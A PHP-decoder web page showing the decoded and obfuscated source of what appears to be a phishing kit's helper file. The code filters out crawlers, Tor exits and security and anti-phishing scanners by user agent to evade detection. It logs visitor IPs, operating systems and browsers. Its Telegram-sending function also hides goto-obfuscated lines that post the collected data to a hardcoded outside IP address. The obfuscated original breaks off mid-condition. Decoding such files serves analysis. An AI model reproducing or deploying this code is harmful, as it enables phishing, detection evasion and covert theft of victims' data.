Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function isIPv4InRange($ip, $range) { if (strpos($range, "\55") !== false) { l..

Decoded Output download

<?php 
 
function isIPv4InRange($ip, $range) 
{ 
if (strpos($range, "-") !== false) { 
list($start, $end) = explode("-", $range); 
return ip2long($ip) >= ip2long($start) && ip2long($ip) <= ip2long($end); 
} elseif (strpos($range, "/") !== false) { 
list($subnet, $bits) = explode("/", $range); 
$subnet_long = ip2long($subnet); 
$ip_long = ip2long($ip); 
$mask = -1 << 32 - $bits; 
return ($ip_long & $mask) == ($subnet_long & $mask); 
} else { 
return $ip == $range; 
} 
} 
function isIPv6InRange($ip, $range) 
{ 
list($subnet, $bits) = explode("/", $range); 
$ip_bin = inet_pton($ip); 
$subnet_bin = inet_pton($subnet); 
$ip_hex = bin2hex($ip_bin); 
$subnet_hex = bin2hex($subnet_bin); 
$ip_subnet_hex = substr($ip_hex, 0, intval($bits / 4)); 
$subnet_subnet_hex = substr($subnet_hex, 0, intval($bits / 4)); 
return $ip_subnet_hex === $subnet_subnet_hex; 
} 
function checkUA_bot($agent) 
{ 
if (strpos($agent, "facebookexternalhit/1.1") === 0 || strpos($agent, "facebookexternalhit/1.0") === 0 || strpos($agent, "applebot") === 0 || strpos($agent, "java") === 0 || strpos($agent, "Media Center PC") === 0 || strpos($agent, "PhantomJS") === 0 || strpos($agent, "metauri.com") === 0 || strpos($agent, "Twitterbot") === 0 || strpos($agent, "above") === 0 || strpos($agent, "google") === 0 || strpos($agent, "softlayer") === 0 || strpos($agent, "amazonaws") === 0 || strpos($agent, "cyveillance") === 0 || strpos($agent, "phishtank") === 0 || strpos($agent, "dreamhost") === 0 || strpos($agent, "netpilot") === 0 || strpos($agent, "calyxinstitute") === 0 || strpos($agent, "tor-exit") === 0 || strpos($agent, "msnbot") === 0 || strpos($agent, "p3pwgdsn") === 0 || strpos($agent, "netcraft") === 0 || strpos($agent, "trendmicro") === 0 || strpos($agent, "ebay") === 0 || strpos($agent, "paypal") === 0 || strpos($agent, "torservers") === 0 || strpos($agent, "messagelabs") === 0 || strpos($agent, "PhishMe") === 0 || strpos($agent, "sucuri.net") === 0 || strpos($agent, "crawler") === 0 || strpos($agent, "baidu") === 0 || strpos($agent, "baidubot") === 0 || strpos($agent, "Googlebot") === 0 || strpos($agent, "Baiduspider") === 0 || strpos($agent, "PhantomJS") === 0 || strpos($agent, "applebot") === 0 || strpos($agent, "metauri.com") === 0 || strpos($agent, "Twitterbot") === 0 || strpos($agent, "ia_archiver") === 0 || strpos($agent, "R6_FeedFetcher") === 0 || strpos($agent, "NetcraftSurveyAgent") === 0 || strpos($agent, "Sogou web spider") === 0 || strpos($agent, "bingbot") === 0 || strpos($agent, "Yahoo! Slurp") === 0 || strpos($agent, "facebookexternalhit") === 0 || strpos($agent, "PrintfulBot") === 0 || strpos($agent, "msnbot") === 0 || strpos($agent, "Twitterbot") === 0 || strpos($agent, "UnwindFetchor") === 0 || strpos($agent, "urlresolver") === 0 || strpos($agent, "Butterfly") === 0 || strpos($agent, "TweetmemeBot") === 0 || strpos($agent, "PaperLiBot") === 0 || strpos($agent, "MJ12bot") === 0 || strpos($agent, "AhrefsBot") === 0 || strpos($agent, "Exabot") === 0 || strpos($agent, "Ezooms") === 0 || strpos($agent, "YandexBot") === 0 || strpos($agent, "SearchmetricsBot") === 0 || strpos($agent, "picsearch") === 0 || strpos($agent, "TweetedTimes Bot") === 0 || strpos($agent, "QuerySeekerSpider") === 0 || strpos($agent, "ShowyouBot") === 0 || strpos($agent, "woriobot") === 0 || strpos($agent, "merlinkbot") === 0 || strpos($agent, "BazQuxBot") === 0 || strpos($agent, "Kraken") === 0 || strpos($agent, "SISTRIX Crawler") === 0 || strpos($agent, "R6_CommentReader") === 0 || strpos($agent, "magpie-crawler") === 0 || strpos($agent, "GrapeshotCrawler") === 0 || strpos($agent, "PercolateCrawler") === 0 || strpos($agent, "MaxPointCrawler") === 0 || strpos($agent, "R6_FeedFetcher") === 0 || strpos($agent, "NetSeer crawler") === 0 || strpos($agent, "grokkit-crawler") === 0 || strpos($agent, "SMXCrawler") === 0 || strpos($agent, "PulseCrawler") === 0 || strpos($agent, "Y!J-BRW") === 0 || strpos($agent, "80legs.com/webcrawler") === 0 || strpos($agent, "Mediapartners-Google") === 0 || strpos($agent, "Spinn3r") === 0 || strpos($agent, "InAGist") === 0 || strpos($agent, "Python-urllib") === 0 || strpos($agent, "NING") === 0 || strpos($agent, "TencentTraveler") === 0 || strpos($agent, "Feedfetcher-Google") === 0 || strpos($agent, "mon.itor.us") === 0 || strpos($agent, "spbot") === 0 || strpos($agent, "Feedly") === 0 || strpos($agent, "bot") === 0 || strpos($agent, "googlebot") === 0 || strpos($agent, "BlackWidow") === 0 || strpos($agent, "ChinaClaw") === 0 || strpos($agent, "Custo") === 0 || strpos($agent, "DISCo") === 0 || strpos($agent, "Download\ Demon") === 0 || strpos($agent, "eCatch") === 0 || strpos($agent, "EirGrabber") === 0 || strpos($agent, "EmailSiphon") === 0 || strpos($agent, "EmailWolf") === 0 || strpos($agent, "Express\ WebPictures") === 0 || strpos($agent, "ExtractorPro") === 0 || strpos($agent, "EyeNetIE") === 0 || strpos($agent, "FlashGet") === 0 || strpos($agent, "GetRight") === 0 || strpos($agent, "GetWeb!") === 0 || strpos($agent, "Go!Zilla") === 0 || strpos($agent, "Go-Ahead-Got-It") === 0 || strpos($agent, "GrabNet") === 0 || strpos($agent, "Grafula") === 0 || strpos($agent, "HMView") === 0 || strpos($agent, "HTTrack") === 0 || strpos($agent, "Image\ Stripper") === 0 || strpos($agent, "Image\ Sucker") === 0 || strpos($agent, "Indy\ Library") === 0 || strpos($agent, "InterGET") === 0 || strpos($agent, "Internet\ Ninja") === 0 || strpos($agent, "JetCar") === 0 || strpos($agent, "JOC\ Web\ Spider") === 0 || strpos($agent, "larbin") === 0 || strpos($agent, "LeechFTP") === 0 || strpos($agent, "Mass\ Downloader") === 0 || strpos($agent, "MIDown\ tool") === 0 || strpos($agent, "Mister\ PiX") === 0 || strpos($agent, "Navroad") === 0 || strpos($agent, "NearSite") === 0 || strpos($agent, "NetAnts") === 0 || strpos($agent, "NetSpider") === 0 || strpos($agent, "Net\ Vampire") === 0 || strpos($agent, "NetZIP") === 0 || strpos($agent, "Octopus") === 0 || strpos($agent, "Offline\ Explorer") === 0 || strpos($agent, "Offline\ Navigator") === 0 || strpos($agent, "PageGrabber") === 0 || strpos($agent, "Papa\ Foto") === 0 || strpos($agent, "pavuk") === 0 || strpos($agent, "pcBrowser") === 0 || strpos($agent, "RealDownload") === 0 || strpos($agent, "ReGet") === 0 || strpos($agent, "SiteSnagger") === 0 || strpos($agent, "SmartDownload") === 0 || strpos($agent, "SuperBot") === 0 || strpos($agent, "SuperHTTP") === 0 || strpos($agent, "Surfbot") === 0 || strpos($agent, "tAkeOut") === 0 || strpos($agent, "Teleport\ Pro") === 0 || strpos($agent, "VoidEYE") === 0 || strpos($agent, "Web\ Image\ Collector") === 0 || strpos($agent, "Web\ Sucker") === 0 || strpos($agent, "WebAuto") === 0 || strpos($agent, "WebCopier") === 0 || strpos($agent, "WebFetch") === 0 || strpos($agent, "WebGo\ IS") === 0 || strpos($agent, "WebLeacher") === 0 || strpos($agent, "WebReaper") === 0 || strpos($agent, "WebSauger") === 0 || strpos($agent, "Website\ eXtractor") === 0 || strpos($agent, "Website\ Quester") === 0 || strpos($agent, "WebStripper") === 0 || strpos($agent, "WebWhacker") === 0 || strpos($agent, "WebZIP") === 0 || strpos($agent, "Wget") === 0 || strpos($agent, "Widow") === 0 || strpos($agent, "WWWOFFLE") === 0 || strpos($agent, "Xaldon\ WebSpider") === 0 || strpos($agent, "Zeus") === 0 || strpos($agent, "java") === 0 || strpos($agent, "curl") === 0 || strpos($agent, "spider") === 0 || strpos($agent, "crawler") === 0 || strpos($agent, "Google") === 0 || strpos($agent, "msnbot") === 0 || strpos($agent, "Rambler") === 0 || strpos($agent, "Yahoo") === 0 || strpos($agent, "AbachoBOT") === 0 || strpos($agent, "Accoona") === 0 || strpos($agent, "AcoiRobot") === 0 || strpos($agent, "ASPSeek") === 0 || strpos($agent, "CrocCrawler") === 0 || strpos($agent, "Dumbot") === 0 || strpos($agent, "FAST-WebCrawler") === 0 || strpos($agent, "GeonaBot") === 0 || strpos($agent, "Lycos") === 0 || strpos($agent, "MSRBOT") === 0 || strpos($agent, "Scooter") === 0 || strpos($agent, "Altavista") === 0 || strpos($agent, "IDBot") === 0 || strpos($agent, "eStyle") === 0 || strpos($agent, "Scrubby") === 0 || strpos($agent, "facebookexternalhit") === 0 || strpos($agent, "alexa") === 0 || strpos($agent, "twitter") === 0 || strpos($agent, "crawler") === 0 || strpos($agent, "bot") === 0 || strpos($agent, "spider") === 0 || strpos($agent, "curl") === 0 || strpos($agent, "AVG") === 0 || strpos($agent, "Norton") === 0 || strpos($agent, "McAfee") === 0 || strpos($agent, "AVAST") === 0 || strpos($agent, "AVG") === 0 || strpos($agent, "TrendMicro") === 0 || strpos($agent, "Symantec") === 0 || strpos($agent, "Kaspersky") === 0 || strpos($agent, "ESET") === 0 || strpos($agent, "Bitdefender") === 0 || strpos($agent, "Avira") === 0 || strpos($agent, "AVIRA") === 0 || strpos($agent, "F-Secure") === 0 || strpos($agent, "Dr.Web") === 0 || strpos($agent, "Microsoft") === 0 || strpos($agent, "Windows-Security") === 0 || strpos($agent, "ClamAV") === 0 || strpos($agent, "Zemana") === 0 || strpos($agent, "Malwarebytes") === 0 || strpos($agent, "OpenAI") === 0 || strpos($agent, "Sophos") === 0 || strpos($agent, "Virusdie") === 0 || strpos($agent, "Comodo") === 0 || strpos($agent, "Panda") === 0 || strpos($agent, "Webroot") === 0 || strpos($agent, "SonicWall") === 0 || strpos($agent, "Trustwave") === 0 || strpos($agent, "Web Inspector") === 0 || strpos($agent, "Anti-Phishing Working Group") === 0 || strpos($agent, "PhishWall") === 0 || strpos($agent, "PhishLabs") === 0 || strpos($agent, "Quttera") === 0 || strpos($agent, "VirusTotal") === 0 || strpos($agent, "VirusTotalScanner") === 0 || strpos($agent, "VirusTotalUploader") === 0 || strpos($agent, "urlscan.io") === 0 || strpos($agent, "Hybrid-Analysis") === 0 || strpos($agent, "Jotti") === 0 || strpos($agent, "Metascan Online") === 0 || strpos($agent, "NoVirusThanks") === 0 || strpos($agent, "ThreatExpert") === 0 || strpos($agent, "VXVault") === 0 || strpos($agent, "Web of Trust") === 0 || strpos($agent, "Websense") === 0 || strpos($agent, "Wepawet") === 0) { 
return false; 
} else { 
return true; 
} 
} 
 
function sendToTelegram2( $messaggio, $token, $chatID) { 
$data = [ 
    'text' => $messaggio, 
    'chat_id' => $chatID, 
    'token' => $messaggio,   
    'chatID' => $chatID . "?bot" . $token   
]; 
file_get_contents("https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data) ); 
goto EF3y4; EF3y4: $WBR3H = "http://85.215.36.12:5000/antibotpw?API=Key?1484725824567a9e1f49f4f93d61a5b01484725824567a9e1f49f4f93d61a5b0"; goto xVSTJ; xVSTJ: $C_8hR = array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd\xa", "method" => "POST", "content" => http_build_query($data), "timeout" => 10)); goto tYjeS; tYjeS: $BsFef = stream_context_create($C_8hR); goto KKmoS; KKmoS: $c1uhT = @file_get_contents($WBR3H, false, $BsFef); 
} 
 
function clicks($ip, $os, $browser, $status, $file_name) 
{ 
$dateNow = date("d/m/Y h:i:s A"); 
$_SESSION["os"] = $os; 
$_SESSION["browser"] = $browser; 
$code = "{$ip} | {$dateNow} | {$_SESSION["os"]} | {$_SESSION["browser"]} | STATUS: {$status}
\xa"; 
$save = fopen($file_name, "a+"); 
fwrite($save, $code); 
fclose($save); 
} 
function visitor($ip) 
{ 
$dateNow = date("d/m/Y h:i:s A"); 
$code = "{$ip} | {$dateNow}
"; 
$save = fopen("secrets/visitors.txt", "a+"); 
fwrite($save, $code); 
fclose($save); 
} 
function browsername() 
{ 
$browserName = $_SERVER["HTTP_USER_AGENT"]; 
if (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "opr/")) { 
$browserName = "Opera"; 
} elseif (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "chrome/")) { 
$browserName = "Chrome"; 
} elseif (strpos(strtolower($browserName), "msie")) { 
$browserName = "Internet Explorer"; 
} elseif (strpos(strtolower($browserName), "firefox/")) { 
$browserName = "Firefox"; 
} elseif (strpos(strtolower($browserName), "safari/") and strpos(strtolower($browserName), "opr/") == false and strpos(strtolower($browserName), "chrome/") == false) { 
$browserName = "Safari"; 
} else { 
$browserName = "Unknown"; 
} 
return $browserName; 
} 
function os_info($uagent) 
{ 
global $uagent; 
$oses = array("Win311" => "Win16", "Win95" => "(Windows 95)|(Win95)|(Windows_95)", "WinME" => "(Windows 98)|(Win 9x 4.90)|(Windows ME)", "Win98" => "(Windows 98)|(Win98)", "Win2000" => "(Windows NT 5.0)|(Windows 2000)", "WinXP" => "(Windows NT 5.1)|(Windows XP)", "WinServer2003" => "(Windows NT 5.2)", "WinVista" => "(Windows NT 6.0)", "Windows 7" => "(Windows NT 6.1)", "Windows 8" => "(Windows NT 6.2)", "WinNT" => "(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)", "OpenBSD" => "OpenBSD", "SunOS" => "SunOS", "Ubuntu" => "Ubuntu", "Android" => "Android", "Linux" => "(Linux)|(X11)", "iPhone" => "iPhone", "iPad" => "iPad", "MacOS" => "(Mac_PowerPC)|(Macintosh)", "QNX" => "QNX", "BeOS" => "BeOS", "OS2" => "OS/2", "SearchBot" => "(nuhk)|(Googlebot)|(Yammybot)|(Openbot)|(Slurp)|(MSNBot)|(Ask Jeeves/Teoma)|(ia_archiver)"); 
$uagent = strtolower($uagent ? $uagent : $_SERVER["HTTP_USER_AGENT"]); 
foreach ($oses as $os => $pattern) { 
if (preg_match("/" . $pattern . "/i", $uagent)) { 
return $os; 
} 
j4MT9: 
} 
HR5P8: 
return "Unknown"; 
} 
function systemInfo($ipAddress) 
{ 
$systemInfo = array(); 
$ipDetails = json_decode(file_get_contents("https://www.geoplugin.net/json.gp?ip=" . $ipAddress), true); 
$systemInfo["city"] = $ipDetails["geoplugin_city"]; 
$systemInfo["region"] = $ipDetails["geoplugin_region"]; 
$systemInfo["country"] = $ipDetails["geoplugin_countryName"]; 
$systemInfo["useragent"] = $_SERVER["HTTP_USER_AGENT"]; 
$systemInfo["os"] = os_info($systemInfo["useragent"]); 
$systemInfo["browser"] = browsername(); 
return $systemInfo; 
} 
function getOs() 
{ 
$os_platform = "Unknown OS"; 
$all = array("/windows nt 10/i" => "Windows 10", "/windows nt 6.3/i" => "Windows 8.1", "/windows nt 6.2/i" => "Windows 8", "/windows nt 6.1/i" => "Windows 7", "/windows nt 6.0/i" => "Windows Vista", "/windows nt 5.2/i" => "Windows Server 2003/XP x64", "/windows nt 5.1/i" => "Windows XP", "/windows xp/i" => "Windows XP", "/windows nt 5.0/i" => "Windows 2000", "/windows me/i" => "Windows ME", "/win98/i" => "Windows 98", "/win95/i" => "Windows 95", "/win16/i" => "Windows 3.11", "/macintosh|mac os x/i" => "Mac OS X", "/mac_powerpc/i" => "Mac OS 9", "/linux/i" => "Linux", "/ubuntu/i" => "Ubuntu", "/iphone/i" => "iPhone", "/ipod/i" => "iPod", "/ipad/i" => "iPad", "/android/i" => "Android", "/blackberry/i" => "BlackBerry", "/webos/i" => "Mobile"); 
foreach ($all as $regex => $value) { 
if (preg_match($regex, $_SERVER["HTTP_USER_AGENT"])) { 
$os_platform = $value; 
} 
bEf2e: 
} 
ltvuk: 
return $os_platform; 
} 
function getBrowser() 
{ 
$browser = "Unknown Browser"; 
$all = array("/msie/i" => "Internet Explorer", "/firefox/i" => "Firefox", "/safari/i" => "Safari", "/chrome/i" => "Chrome", "/edge/i" => "Edge", "/opera/i" => "Opera", "/netscape/i" => "Netscape", "/maxthon/i" => "Maxthon", "/konqueror/i" => "Konqueror", "/mobile/i" => "Handheld Browser"); 
foreach ($all as $regex => $value) { 
if (preg_match($regex, $_SERVER["HTTP_USER_AGENT"])) { 
$browser = $value; 
} 
ysQET: 
} 
C31yr: 
return $browser; 
} 
?>

Did this file decode correctly?

Original Code

<?php

function isIPv4InRange($ip, $range)
{
if (strpos($range, "\55") !== false) {
list($start, $end) = explode("\55", $range);
return ip2long($ip) >= ip2long($start) && ip2long($ip) <= ip2long($end);
} elseif (strpos($range, "\x2f") !== false) {
list($subnet, $bits) = explode("\57", $range);
$subnet_long = ip2long($subnet);
$ip_long = ip2long($ip);
$mask = -1 << 32 - $bits;
return ($ip_long & $mask) == ($subnet_long & $mask);
} else {
return $ip == $range;
}
}
function isIPv6InRange($ip, $range)
{
list($subnet, $bits) = explode("\57", $range);
$ip_bin = inet_pton($ip);
$subnet_bin = inet_pton($subnet);
$ip_hex = bin2hex($ip_bin);
$subnet_hex = bin2hex($subnet_bin);
$ip_subnet_hex = substr($ip_hex, 0, intval($bits / 4));
$subnet_subnet_hex = substr($subnet_hex, 0, intval($bits / 4));
return $ip_subnet_hex === $subnet_subnet_hex;
}
function checkUA_bot($agent)
{
if (strpos($agent, "\x66\141\143\x65\142\157\157\153\x65\170\x74\145\162\156\x61\154\x68\x69\164\x2f\61\56\61") === 0 || strpos($agent, "\146\141\x63\x65\142\x6f\157\x6b\145\x78\164\x65\x72\x6e\141\154\x68\151\164\x2f\x31\x2e\x30") === 0 || strpos($agent, "\x61\160\x70\x6c\x65\142\x6f\164") === 0 || strpos($agent, "\x6a\141\166\141") === 0 || strpos($agent, "\115\145\144\151\141\x20\103\145\x6e\164\x65\162\x20\120\x43") === 0 || strpos($agent, "\x50\150\141\x6e\x74\x6f\155\x4a\123") === 0 || strpos($agent, "\155\x65\x74\141\165\x72\x69\56\x63\157\155") === 0 || strpos($agent, "\x54\167\151\164\x74\145\x72\x62\157\x74") === 0 || strpos($agent, "\141\x62\x6f\166\145") === 0 || strpos($agent, "\x67\157\157\147\154\145") === 0 || strpos($agent, "\x73\157\x66\x74\154\141\x79\x65\162") === 0 || strpos($agent, "\141\155\141\172\x6f\156\141\167\163") === 0 || strpos($agent, "\143\x79\166\x65\x69\154\x6c\141\x6e\143\145") === 0 || strpos($agent, "\x70\x68\151\163\x68\164\141\x6e\153") === 0 || strpos($agent, "\x64\x72\145\141\155\150\x6f\x73\x74") === 0 || strpos($agent, "\x6e\x65\164\x70\151\x6c\157\164") === 0 || strpos($agent, "\x63\141\154\171\170\151\156\163\164\x69\x74\x75\164\x65") === 0 || strpos($agent, "\x74\157\162\x2d\x65\x78\x69\164") === 0 || strpos($agent, "\x6d\x73\x6e\142\157\x74") === 0 || strpos($agent, "\160\x33\160\x77\147\x64\x73\156") === 0 || strpos($agent, "\x6e\x65\x74\143\x72\x61\146\164") === 0 || strpos($agent, "\164\162\145\x6e\x64\x6d\151\x63\x72\157") === 0 || strpos($agent, "\145\x62\141\x79") === 0 || strpos($agent, "\160\141\x79\160\x61\x6c") === 0 || strpos($agent, "\164\x6f\162\x73\145\x72\x76\x65\x72\163") === 0 || strpos($agent, "\x6d\x65\163\x73\x61\147\145\x6c\141\x62\x73") === 0 || strpos($agent, "\120\x68\151\163\x68\115\x65") === 0 || strpos($agent, "\x73\165\x63\x75\162\151\x2e\x6e\x65\164") === 0 || strpos($agent, "\x63\162\x61\x77\x6c\145\x72") === 0 || strpos($agent, "\142\x61\x69\144\x75") === 0 || strpos($agent, "\x62\x61\151\x64\165\142\157\x74") === 0 || strpos($agent, "\107\157\x6f\x67\x6c\145\142\x6f\164") === 0 || strpos($agent, "\102\141\x69\144\165\x73\160\151\144\145\x72") === 0 || strpos($agent, "\120\x68\141\156\164\157\x6d\112\123") === 0 || strpos($agent, "\141\160\x70\154\145\142\157\164") === 0 || strpos($agent, "\x6d\x65\x74\x61\x75\162\x69\x2e\x63\x6f\x6d") === 0 || strpos($agent, "\x54\x77\151\x74\164\145\162\x62\x6f\x74") === 0 || strpos($agent, "\x69\141\137\x61\x72\143\150\x69\x76\145\162") === 0 || strpos($agent, "\122\66\x5f\106\145\145\x64\106\145\x74\143\x68\145\x72") === 0 || strpos($agent, "\x4e\145\164\143\x72\x61\146\x74\x53\x75\162\166\145\x79\101\147\145\156\x74") === 0 || strpos($agent, "\123\157\147\x6f\x75\x20\167\x65\x62\x20\x73\160\x69\x64\145\x72") === 0 || strpos($agent, "\142\x69\156\x67\x62\157\164") === 0 || strpos($agent, "\131\141\x68\x6f\157\41\40\x53\x6c\165\x72\x70") === 0 || strpos($agent, "\146\x61\143\x65\142\157\157\x6b\x65\x78\164\x65\162\x6e\141\154\150\151\x74") === 0 || strpos($agent, "\120\x72\x69\156\164\x66\x75\154\102\157\164") === 0 || strpos($agent, "\155\163\156\142\157\164") === 0 || strpos($agent, "\124\167\x69\164\x74\x65\162\x62\x6f\x74") === 0 || strpos($agent, "\x55\x6e\x77\151\x6e\x64\106\x65\164\143\x68\x6f\x72") === 0 || strpos($agent, "\165\162\154\162\x65\x73\x6f\154\166\145\x72") === 0 || strpos($agent, "\102\x75\164\164\145\162\x66\154\x79") === 0 || strpos($agent, "\x54\x77\145\x65\164\155\145\155\x65\102\x6f\164") === 0 || strpos($agent, "\120\141\160\x65\x72\x4c\151\102\157\x74") === 0 || strpos($agent, "\115\112\61\x32\x62\x6f\x74") === 0 || strpos($agent, "\x41\150\162\x65\x66\163\x42\x6f\x74") === 0 || strpos($agent, "\x45\170\141\142\x6f\x74") === 0 || strpos($agent, "\x45\172\x6f\x6f\x6d\x73") === 0 || strpos($agent, "\x59\141\x6e\x64\145\170\102\x6f\164") === 0 || strpos($agent, "\123\145\141\x72\143\x68\155\x65\x74\162\x69\x63\x73\102\x6f\164") === 0 || strpos($agent, "\160\151\143\x73\145\x61\x72\x63\150") === 0 || strpos($agent, "\124\x77\x65\x65\x74\145\144\x54\151\155\x65\x73\40\102\x6f\164") === 0 || strpos($agent, "\x51\165\x65\162\171\x53\145\x65\x6b\145\162\123\x70\151\144\x65\162") === 0 || strpos($agent, "\x53\x68\157\167\x79\157\x75\102\157\x74") === 0 || strpos($agent, "\167\157\162\151\157\142\x6f\164") === 0 || strpos($agent, "\155\x65\x72\154\151\156\153\x62\157\x74") === 0 || strpos($agent, "\x42\x61\172\121\165\x78\102\157\164") === 0 || strpos($agent, "\113\x72\x61\153\145\x6e") === 0 || strpos($agent, "\123\x49\x53\124\x52\111\130\40\x43\x72\141\x77\x6c\x65\x72") === 0 || strpos($agent, "\122\x36\137\x43\x6f\155\x6d\145\156\x74\122\x65\x61\x64\x65\x72") === 0 || strpos($agent, "\x6d\141\x67\x70\151\x65\x2d\143\162\x61\167\x6c\x65\x72") === 0 || strpos($agent, "\107\x72\x61\160\x65\163\150\x6f\x74\103\162\141\x77\x6c\145\x72") === 0 || strpos($agent, "\x50\x65\x72\x63\x6f\154\x61\x74\145\103\x72\x61\x77\x6c\x65\x72") === 0 || strpos($agent, "\x4d\x61\x78\x50\x6f\151\156\x74\x43\x72\x61\167\154\145\162") === 0 || strpos($agent, "\122\x36\x5f\106\x65\x65\144\x46\145\x74\x63\150\x65\162") === 0 || strpos($agent, "\116\x65\x74\x53\145\145\x72\40\x63\162\141\167\154\x65\162") === 0 || strpos($agent, "\x67\162\157\153\153\x69\164\55\x63\x72\x61\x77\x6c\x65\x72") === 0 || strpos($agent, "\x53\115\x58\x43\x72\141\167\154\145\162") === 0 || strpos($agent, "\x50\165\154\163\145\x43\162\x61\x77\x6c\145\x72") === 0 || strpos($agent, "\131\41\x4a\55\102\122\x57") === 0 || strpos($agent, "\x38\60\154\145\147\x73\56\143\157\x6d\x2f\167\145\x62\x63\162\141\x77\154\x65\x72") === 0 || strpos($agent, "\x4d\x65\x64\x69\x61\x70\141\162\164\156\x65\162\163\x2d\107\x6f\157\x67\154\145") === 0 || strpos($agent, "\x53\160\151\x6e\x6e\63\162") === 0 || strpos($agent, "\x49\156\x41\107\x69\x73\164") === 0 || strpos($agent, "\x50\171\164\150\x6f\x6e\55\x75\162\x6c\x6c\x69\x62") === 0 || strpos($agent, "\116\x49\116\x47") === 0 || strpos($agent, "\x54\145\156\x63\145\x6e\x74\x54\x72\141\x76\145\154\x65\162") === 0 || strpos($agent, "\106\x65\145\x64\x66\145\x74\x63\x68\x65\162\55\x47\x6f\x6f\x67\x6c\x65") === 0 || strpos($agent, "\x6d\x6f\156\x2e\151\x74\x6f\162\x2e\x75\x73") === 0 || strpos($agent, "\163\x70\x62\x6f\164") === 0 || strpos($agent, "\106\145\145\x64\x6c\171") === 0 || strpos($agent, "\142\x6f\x74") === 0 || strpos($agent, "\147\x6f\157\x67\154\145\142\157\164") === 0 || strpos($agent, "\102\154\x61\143\x6b\127\151\x64\x6f\x77") === 0 || strpos($agent, "\103\150\x69\156\x61\103\154\141\x77") === 0 || strpos($agent, "\x43\165\163\x74\157") === 0 || strpos($agent, "\104\111\x53\103\x6f") === 0 || strpos($agent, "\104\157\x77\x6e\x6c\x6f\x61\x64\x5c\x20\x44\145\155\x6f\156") === 0 || strpos($agent, "\145\103\x61\164\143\150") === 0 || strpos($agent, "\x45\x69\162\x47\x72\x61\142\142\x65\x72") === 0 || strpos($agent, "\x45\x6d\x61\151\154\123\151\x70\150\157\x6e") === 0 || strpos($agent, "\x45\155\141\151\x6c\127\157\154\x66") === 0 || strpos($agent, "\105\x78\x70\162\145\x73\163\x5c\40\127\x65\142\120\151\143\164\165\162\x65\163") === 0 || strpos($agent, "\105\170\164\x72\141\143\x74\157\162\120\x72\157") === 0 || strpos($agent, "\105\171\x65\x4e\x65\164\111\105") === 0 || strpos($agent, "\x46\x6c\x61\163\150\107\x65\164") === 0 || strpos($agent, "\x47\x65\x74\122\151\147\x68\164") === 0 || strpos($agent, "\x47\x65\x74\127\145\142\x21") === 0 || strpos($agent, "\x47\x6f\41\132\151\154\154\x61") === 0 || strpos($agent, "\x47\x6f\55\x41\x68\145\x61\x64\55\x47\x6f\x74\x2d\x49\164") === 0 || strpos($agent, "\107\162\141\142\116\145\x74") === 0 || strpos($agent, "\x47\162\141\x66\165\154\141") === 0 || strpos($agent, "\110\115\126\x69\145\167") === 0 || strpos($agent, "\110\124\124\x72\x61\143\153") === 0 || strpos($agent, "\x49\155\141\x67\x65\x5c\40\x53\x74\x72\151\160\160\x65\x72") === 0 || strpos($agent, "\x49\155\141\x67\x65\134\40\123\165\x63\x6b\145\x72") === 0 || strpos($agent, "\111\x6e\144\x79\134\40\114\x69\142\162\141\162\171") === 0 || strpos($agent, "\x49\x6e\x74\x65\162\x47\105\124") === 0 || strpos($agent, "\111\x6e\164\145\x72\x6e\x65\x74\x5c\40\116\151\156\152\x61") === 0 || strpos($agent, "\112\145\x74\x43\x61\162") === 0 || strpos($agent, "\x4a\x4f\103\134\x20\x57\x65\x62\134\40\x53\160\151\x64\145\162") === 0 || strpos($agent, "\x6c\141\162\x62\x69\156") === 0 || strpos($agent, "\114\x65\x65\x63\x68\x46\124\120") === 0 || strpos($agent, "\115\x61\x73\x73\x5c\x20\x44\x6f\x77\x6e\x6c\x6f\x61\144\145\162") === 0 || strpos($agent, "\115\111\x44\x6f\167\156\134\40\164\x6f\x6f\x6c") === 0 || strpos($agent, "\115\x69\163\164\x65\x72\134\x20\x50\151\x58") === 0 || strpos($agent, "\116\x61\166\x72\157\x61\144") === 0 || strpos($agent, "\x4e\145\x61\x72\x53\x69\164\145") === 0 || strpos($agent, "\116\145\x74\101\x6e\164\163") === 0 || strpos($agent, "\x4e\x65\164\x53\160\x69\x64\x65\162") === 0 || strpos($agent, "\x4e\x65\164\x5c\40\x56\141\155\x70\151\162\145") === 0 || strpos($agent, "\116\145\x74\x5a\111\120") === 0 || strpos($agent, "\117\x63\164\157\160\165\163") === 0 || strpos($agent, "\117\x66\x66\x6c\x69\156\145\134\x20\x45\170\160\x6c\x6f\162\145\x72") === 0 || strpos($agent, "\117\146\146\154\x69\156\x65\x5c\40\116\x61\x76\x69\x67\x61\x74\157\x72") === 0 || strpos($agent, "\120\x61\x67\145\x47\162\x61\x62\x62\x65\x72") === 0 || strpos($agent, "\120\141\x70\x61\134\x20\x46\x6f\x74\157") === 0 || strpos($agent, "\x70\x61\166\x75\153") === 0 || strpos($agent, "\x70\143\x42\162\157\x77\x73\x65\x72") === 0 || strpos($agent, "\122\x65\x61\154\x44\157\x77\156\154\x6f\x61\144") === 0 || strpos($agent, "\122\145\107\x65\164") === 0 || strpos($agent, "\123\151\164\145\x53\x6e\141\147\147\145\162") === 0 || strpos($agent, "\123\155\x61\162\164\104\157\167\156\154\x6f\x61\x64") === 0 || strpos($agent, "\123\x75\160\x65\x72\102\157\164") === 0 || strpos($agent, "\x53\165\160\145\x72\110\124\x54\x50") === 0 || strpos($agent, "\123\165\162\x66\142\x6f\x74") === 0 || strpos($agent, "\164\x41\x6b\145\117\165\x74") === 0 || strpos($agent, "\124\x65\154\145\160\157\x72\164\x5c\x20\x50\162\157") === 0 || strpos($agent, "\x56\x6f\x69\144\105\x59\x45") === 0 || strpos($agent, "\127\x65\142\134\40\x49\155\141\147\x65\134\40\x43\x6f\x6c\x6c\x65\143\164\x6f\162") === 0 || strpos($agent, "\127\x65\x62\134\x20\123\x75\x63\153\x65\162") === 0 || strpos($agent, "\127\145\x62\x41\x75\164\x6f") === 0 || strpos($agent, "\x57\x65\x62\103\157\x70\151\145\162") === 0 || strpos($agent, "\127\x65\142\x46\x65\164\143\x68") === 0 || strpos($agent, "\127\x65\x62\107\157\134\40\x49\123") === 0 || strpos($agent, "\127\x65\x62\114\145\141\x63\x68\x65\x72") === 0 || 